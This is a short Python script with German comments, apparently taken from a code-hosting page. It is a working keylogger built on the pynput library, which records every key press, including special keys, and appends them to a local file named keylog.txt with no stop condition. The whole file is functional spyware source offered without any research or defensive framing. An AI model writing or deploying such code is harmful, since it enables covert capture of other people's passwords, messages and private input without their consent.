29 lines
901 B
Python
Executable File
29 lines
901 B
Python
Executable File
from pynput.keyboard import Listener
|
|
|
|
# Dateiname für das Speichern der geloggten Tasten
|
|
log_file = "keylog.txt"
|
|
|
|
# Funktion zum Schreiben der Tasten in die Datei
|
|
def write_to_file(key):
|
|
try:
|
|
with open(log_file, "a") as file:
|
|
if hasattr(key, 'char') and key.char is not None: # Normale Zeichen
|
|
file.write(key.char)
|
|
else: # Sondertasten (wie Shift, Enter)
|
|
file.write(f" [{key}] ")
|
|
except Exception as e:
|
|
# Fehler beim Schreiben in die Datei werden ausgegeben
|
|
print(f"Fehler: {e}")
|
|
|
|
# Funktion für Tastendruck (on_press)
|
|
def on_press(key):
|
|
write_to_file(key)
|
|
|
|
# Funktion für Tasten loslassen (on_release)
|
|
def on_release(key):
|
|
pass # Kein automatisches Beenden
|
|
|
|
# Startet den Listener
|
|
with Listener(on_press=on_press, on_release=on_release) as listener:
|
|
listener.join()
|